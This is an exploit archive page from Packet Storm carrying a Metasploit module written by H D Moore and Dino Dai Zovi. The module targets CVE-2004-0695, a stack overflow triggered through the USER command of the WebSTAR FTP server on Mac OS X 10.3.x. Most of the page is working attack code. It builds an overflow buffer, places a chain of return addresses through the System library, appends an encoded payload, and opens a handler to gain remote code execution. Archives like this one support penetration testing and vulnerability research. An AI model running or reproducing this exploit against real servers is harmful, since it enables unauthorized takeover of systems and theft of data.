what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WebSTAR FTP Server USER Overflow

WebSTAR FTP Server USER Overflow
Posted Oct 28, 2009
Authored by H D Moore, Dino A. Dai Zovi | Site metasploit.com

This Metasploit module exploits a stack overflow in the logging routine of the WebSTAR FTP server. Reliable code execution is obtained by a series of hops through the System library.

tags | exploit, overflow, code execution
advisories | CVE-2004-0695
SHA-256 | b70f8769835947ea2b66253db1f6add42a0554c1ea76331961806fbfff635676

WebSTAR FTP Server USER Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'WebSTAR FTP Server USER Overflow',
'Description' => %q{
This module exploits a stack overflow in the logging routine
of the WebSTAR FTP server. Reliable code execution is
obtained by a series of hops through the System library.

},
'Author' => [ 'ddz', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-0695'],
[ 'OSVDB', '7794'],
[ 'BID', '10720'],

],
'Privileged' => true,
'Payload' =>
{
'Space' => 300,
'BadChars' => "\x00\x20\x0a\x0d",
'Compat' =>
{
'ConnectionType' => "+find"
},
},
'Targets' =>
[
[
'Mac OS X 10.3.4-10.3.6',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
'Rets' => [ 0x9008dce0, 0x90034d60, 0x900ca6d8, 0x90023590 ],
},
],
],
'DisclosureDate' => 'Jul 13 2004',
'DefaultTarget' => 0))

register_options(
[
OptString.new('MHOST', [ false, "Our IP address or hostname as the target resolves it" ]),
], self)


end

# crazy dino 5-hop foo
#$ret = pack('N', 0x9008dce0); # call $r28, jump r1+120
#$r28 = pack('N', 0x90034d60); # getgid()
#$ptr = pack('N', 0x900ca6d8); # r3 = r1 + 64, call $r30
#$r30 = pack('N', 0x90023590); # call $r3

def exploit
connect

# The offset to the return address is dependent on the length of our hostname
# as the target system resolves it ( IP or reverse DNS ).
mhost = datastore['MHOST'] || Rex::Socket.source_address(datastore['RHOST'])
basel = 285 - mhost.length

print_status("Trying target #{target.name}...")

# ret = 296
# r25 = 260
# r26 = 264
# r27 = 268
# r28 = 272
# r29 = 276
# r30 = 280
# r31 = 284

# r1+120 = 408

buf = rand_text_alphanumeric(basel + 136 + 56, payload_badchars)
buf[basel + 24, 4] = [ target['Rets'][0] ].pack('N') # call $r28, jump r1+120
buf[basel , 4] = [ target['Rets'][1] ].pack('N') # getgid()
buf[basel + 136, 4] = [ target['Rets'][2] ].pack('N') # (r1+120) => r3 = r1 + 64, call $r30
buf[basel + 120, 4] = [ target['Rets'][3] ].pack('N') # call $r3
buf << payload.encoded

send_cmd( ['USER', buf] , true )
send_cmd( ['HELP'] , true )

handler
disconnect
end

end

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close